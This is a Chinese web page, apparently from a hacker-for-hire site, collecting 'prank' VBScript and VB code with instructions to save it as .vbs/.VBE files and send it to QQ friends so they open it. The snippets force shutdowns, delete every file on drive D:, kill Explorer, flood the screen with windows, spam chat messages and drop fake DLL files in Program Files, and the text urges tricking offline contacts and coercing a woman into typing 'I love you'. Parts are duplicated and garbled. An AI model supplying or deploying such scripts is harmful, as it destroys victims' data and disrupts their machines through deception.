当前位置:首页 > 联系黑客 > 正文内容

整人代码大全可复制手机 *** (手机搞人代码)

hacker2年前 (2022-06-02)联系黑客880

本文导读目录:

手机qq整人代码

之一步,将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自

第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)

如果谁运行了这个 *** 炸弹,在30秒后会自动关机。

下面说一下使用 *** :

最简单的使用 *** 是,你直接发给好友,让他运行,然后他就中招了。

还有个更加恶毒的,不在线的 *** 好友你可以向他们发送 *** 离线文件,几乎80%的人都会好奇这个文件是什么,糊里糊涂就打开了。 打开以后就被 *** 炸弹恶搞了

你自己也可以测试一下这个 *** 炸弹的威力。

我要 *** 聊天的恶搞代码

首先你在要建一个文本文档(在桌面点右键

新建

文本文档)把下面的你想要的代码复制

到文本文档

保存

把名字

txt

改成

vbs

OK

vbs

整人代码大 ***

一、

你打开好友的聊天对话框

然后记下在你

***

里好友的昵称

把下面代码里的

xx

替换一下

就可以自定义发送

***

信息到好友的次数

代码里的数字

10

改一下即可

xx.vbs=

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("

xx

聊天中

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

***

骚扰信息

也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈

do

msgbox "You are foolish!"

loop

三、打开无数个计算器,直到死机

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

四、直接关机

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

五、删除

D:\

所有文件

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

六、不断弹出窗口

while(1)

msgbox "

哈哈

你被耍了!

loop

七、不断按下

alt+f4

(开什么都关闭„„)

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

八、按

500

次回车

以上代码在运行者的电脑上显示

500

个对话框。其中

do until s=500

500

可以随意更改

dim s

do until s=500

s=s+1

msgbox "

哥们,给我按

500

次回车吧

",64

loop

九、关不掉的窗口

WScript.Echo("

嘿,谢谢你打开我哦,我等你很久

拉!

"TSName)

WScript.Echo("

你是可爱的小朋吗

WScript.Echo("

我想你拉,这你都不知道吗?

[color=#FF0000]

复制以这个代码,在桌面建一个文本,把代码放进去,另存为

VBS

格式,

此代码的威力:

1

:开机就强制自动关机

2

cmd

命令打不开

3

:结束任务不管用

4

F8

安全模式也不管用

呵呵!听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、

代码破解 *** :就是再运行一次,就可以破解了,也就是第

2

次保存的那个

VBE

文件,

PS

:不要乱拿软件去整人,发生什么事可不要怪我啊。

拍拍手

顶起吧!

恐怖啊

整人

小心用

Private Sub Form_Load()

Me.Hide

End Sub

Private Sub Timer1_Timer()

声明变量,其中“

count

”为静态变量,以便生成不同的文件

Dim files As String

Dim nr As String

Dim c As String

Static count As Long

定义要把生成的文件存放在那个目录文件下

c = "C:\Program Files\"

生成文件的内容

nr = "

哈哈,被黑的感觉的不错吧

files = FreeFile

如果

a

等于

a

那么就执行

If a = a Then

'count

不断的加

1

,以便产生不同的文件名

count = count + 1

产生文件名及文件句柄,并用

count

作为产生不同的文件名。

Open c "system" count ".dll" For Append As #files

向文件写内容

Write #files, nr

清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示

Close #files

End If

End Sub

手机qq整人代码大全谁有? 发一下 谢谢

之一步,将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自

第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)

如果谁运行了这个 *** 炸弹,在30秒后会自动关机。

下面说一下使用 *** :

最简单的使用 *** 是,你直接发给好友,让他运行,然后他就中招了。

WScript.Echo("谁令你打开这个软件的")

WScript.Echo("这个软件会让你无聊啊!")

WScript.Echo("推荐你来的肯定是个坏蛋!")

WScript.Echo("欢迎来到被整软件站!")

WScript.Echo("是谁设计的?")

WScript.Echo("Is me")

WScript.Echo("你好,你要点30次确定哦!")

WScript.Echo("1")

WScript.Echo("2")

WScript.Echo("3")

WScript.Echo("begin")

手机 *** 的整人代码大全

之一步,将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自

第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)

如果谁运行了这个 *** 炸弹,在30秒后会自动关机。

下面说一下使用 *** :

最简单的使用 *** 是,你直接发给好友,让他运行,然后他就中招了。

WScript.Echo("谁令你打开这个软件的")

WScript.Echo("这个软件会让你无聊啊!")

WScript.Echo("推荐你来的肯定是个坏蛋!")

WScript.Echo("欢迎来到被整软件站!")

WScript.Echo("是谁设计的?")

WScript.Echo("Is me")

WScript.Echo("你好,你要点30次确定哦!")

WScript.Echo("1")

WScript.Echo("2")

WScript.Echo("3")

WScript.Echo("begin")

qq整人代码

WScript.Echo("谁令你打开这个软件的")

WScript.Echo("这个软件会让你无聊啊!")

WScript.Echo("推荐你来的肯定是个坏蛋!")

WScript.Echo("欢迎来到被整软件站!")

WScript.Echo("是谁设计的?")

WScript.Echo("Is

me")

WScript.Echo("你好,你要点30次确定哦!")

WScript.Echo("1")

WScript.Echo("2")

WScript.Echo("3")

WScript.Echo("begin")

WScript.Echo("30")

WScript.Echo("29")

WScript.Echo("28")

WScript.Echo("呵呵,骗你的,我也累了,88")

WScript.Echo("还是在耍你")

WScript.Echo("你不想活了?")

WScript.Echo("打开这个?")

WScript.Echo("无语中……")

WScript.Echo("嘿。谁让你点确定的?")

WScript.Echo("我还想多耍你一会儿呢!")

WScript.Echo("我准备问你一个问题")

-----------下面别复制--------------------

求一些好玩的整人代码~~

gsh=msgbox ("已经准备好格式化,准备开始。",vbyesno)

set s=createobject("wscript.shell")

wscript.sleep 1000

msgbox "开始格式化…… 哈哈!吓晕了吧,骗你的~"

wscript.sleep 1000

wscript.sleep 1000*100

msgbox "windows发现一重要更新,将自动下载。"

wscript.sleep 3000

msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描?",vbyesno

wscript.sleep 1000

msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型:木马",,"windows扫描附件"

msgbox "是否阻止其安装?",vbyesno

wscript.sleep 3000

msgbox "阻止失败!请检查防火墙是否开启!"

wscript.sleep 5000

msgbox "正在尝试强行删除…"

wscript.sleep 5000

msgbox "失败!"

wscript.sleep 5000

msgbox "您的电脑已陷入危险之中,请赶快扫描病毒!"

wscript.sleep 10000

s.sendkeys "% n"

s.run "taskkill /im *** .exe"

s.sendkeys "% n"

s.run "taskkill /im explorer.exe /f"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

msgbox "你好啊!"

wscript.sleep 3000

msgbox "很高兴见到你!"

wscript.sleep 3000

msgbox "您的电脑可能已经感染病毒!",,"WINDOWS防火墙警告"

wscript.sleep 3000

msgbox "我控制你的电脑了!"

wscript.sleep 3000

msgbox "不信?那我给你关机看看~"

s.run "shutdown -r -t 120"

msgbox "信了吧!"

msgbox "帮你解除关机……"

s.run "shutdown -a"

msgbox "再给你打开记事本写封信,劝你更好别动,要不然会引起系统混乱~"

s.run "notepad"

wscript.sleep 3000

s.sendkeys "Hello, I'm sorry I control your computer,"

wscript.sleep 3000

s.sendkeys " but the virus is false in, "

wscript.sleep 3000

s.sendkeys "only a joke, "

wscript.sleep 3000

s.sendkeys "please rest assured! "

wscript.sleep 3000

s.sendkeys "I no longer next "

wscript.sleep 3000

s.sendkeys "time so the whole you!"

wscript.sleep 3000

s.sendkeys" Goodbye!"

s.sendkeys"{enter}"

s.sendkeys"END"

wscript.sleep 1000

s.sendkeys"%{F4}"

msgbox "提示:刚才的“病毒”是假的,只不过是吓你玩玩~"

s.run "explorer"

扫描二维码推送至手机访问。

版权声明:本文由黑客24小时在线接单网站发布,如需转载请注明出处。

本文链接:https://www.cn-sl.com/114616.html

分享给朋友:

“整人代码大全可复制手机 *** (手机搞人代码)” 的相关文章

lg是什么意思(lg是什么意思数学)

  起源 :   驱动外国   文:吴海素    二0 一 六-0 九-0 六/ 一 七: 二 二   脚机频叙   消息   注释   LGV 二0   驱动外国 二0 一 六年 九月 六日新闻 将于 九月 七日举行 新品宣布 会拉没新机的除了了寡所注目的苹因iPhone 七/ 七 Plus以...

求生之路4怎么联机(求生之路4怎么联机玩)

  热点 谈论 游侠网友 [浙江省嘉废市电疑网友] 0 九- 二 二  二 一:0 六 别闹那何时算可骇 游戏了 小父熟皆敢玩 突突突 挨僵尸战挨苍蝇嫩鼠同样 吓人吗 玻璃作的口净。。。。。告发  一 一 九  七0 归复 游侠网友 [外国挪动网友]  一 二- 二 九  一 五: 三 五 您...

胜天半子是什么意思(逆天改命)

  本题目 :【赛事推举 】欧洲杯:西班牙VS瑞典   波兰 VS 斯洛伐克 博野:足彩神去之笔   根本 里剖析 :   客队:波兰是欧洲外下游气力 球队,今朝 活着 界排名第 二 一位,比来 各项赛事与患上 四胜 三仄 三负,个中 主场与患上 四胜 二仄 一负,上一轮竞赛 波兰正在友情 赛...

酒店回应女子房间遭陌生男刷卡「女住客房门凌晨被刷开」

据少乡网 二0 二 一年 一0月 二0日0 二:0 九: 一 二的最新宣布 ,微专网友@江西游览播送爆料。 安然 夜光降 之际,事宜 ,正在网上炒患上满城风雨,激发 齐网冷议! 据悉,酒店归应父子房间遭生疏 男刷卡之后以至借有人填没牵走她的谁人 男佳宾。疑惑 没门来私司事情 。相比也便是...

蕤怎么读(蕤怎么读)

  >>旧事 中间 尾页>> 文戴粗萃>>注释   掩护 目力 色:                           [新闻 树]   |文戴粗萃|西班牙报纸文章:戎行 —美国的特权阶级   圆蕤:尔战王受是若何 相逢、相恋、相随的  二00 四年 三...

苹果8发行价格是多少(苹果8p官方价格多少)

再过一个月,让咱们先看看网站上的价钱 。第 一 一代智妙手 机, 二 五 六G正在 三 八00元阁下 。iPhone 八Plus有二种规格,齐网通,价钱 以下:iPhone 八Plus 六 四GB: 六 六 八 八元·库克正在史蒂妇·乔布斯剧场宣布 。也是遭到了许多 用户的若干 爱好 ,两脚价钱 火...

评论列表

怎忘眉妩
2年前 (2022-06-03)

--------------------------------------------------------------------------- 〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓QQ骚扰信息,也可以用在其它程序上

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。